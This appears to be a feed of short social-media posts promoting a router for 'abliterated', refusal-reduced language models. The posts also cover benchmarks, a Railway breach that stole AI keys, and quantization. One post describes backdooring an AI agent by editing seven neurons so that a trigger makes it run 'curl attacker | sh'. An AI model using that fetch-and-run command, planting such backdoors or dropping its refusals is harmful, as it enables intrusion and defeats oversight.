Red Router Abliterated Benchmarks are live!
This is the first and only continous measurement of Speed, latency, reliability, and listed price across providers. 🧵(1/3) https://t.co/vLNOX5CemB
microsoft just showed you can backdoor an ai agent by editing 7 neurons. no training, passes every eval
then one trigger shows up and it runs curl attacker | sh
if you're running weights from a random reupload, check the hash lol
classic ai bug bounty "idor": account B gets a 200 on account A's invoice
open the body. it's a login page, the session expired hahaha
make the model say what would disprove its lead before you touch the target
https://t.co/lMuB0hxfot
the railway attacker's database queries went hunting for env vars named like ai provider keys
estimated damage so far is ~$740k in stolen ai usage, and railway says it'll cover what providers won't refund
if an ai key lives in your host's env vars, put a spend cap on it today
pentagi dies on step one if your endpoint can't return clean tool calls (its very first move is a tool call that picks the sandbox image hahaha)
if you are usign it try this out: pointing it at redrouter is 3 lines in .env:
LLM_SERVER_URL=https://t.co/SZR015QrYi
LLM_SERVER_KEY=your-key
LLM_SERVER_MODEL=glm-5.3-flash-red
Latency Benchmark on deepseek v4.1 flash 1017...
standard on openrouter: 7.3 s to 500 tokens
refusal-reduced on experiential labs: 2.9 s, 72 runs
2.5x faster to the same 500 tokens. latency adds up fast in agent loops!!!!! (or maybe it's quantized.... more coming soon :)
https://t.co/zGYh5GtlZ9
Of course that's your contention.
You're a first-week self-hoster.
You just saw someone post 330 tok/s on a 5090 with "262K context," so naturally you believe that's 330 tok/s at 262K of actual prompt.
Next month, when you get your hands on a quantization cookbook (Unsloth's, probably), you'll be singing from the treetops about Q4 being "basically lossless," because the perplexity barely moved.
That'll last until sometime next week, when you load the 5 GB quant of a model whose benchmarks all came from the FP16 weights, get 14 tokens a second on your M2, and become convinced that 1.58-bit ternary is the real answer.
Oh and you think you won't, because the same model name scores differently on every provider???
Well that is because nobody tells you which quant or defaults they're serving.
Yeah, I read that too. Some reply guy's eval thread, just below the screenshot of a leaderboard that "beats GPT-6."
Do you have any thoughts of your own on the subject, or should I just point my agent at the llama.cpp issues page and have it run the evals for me?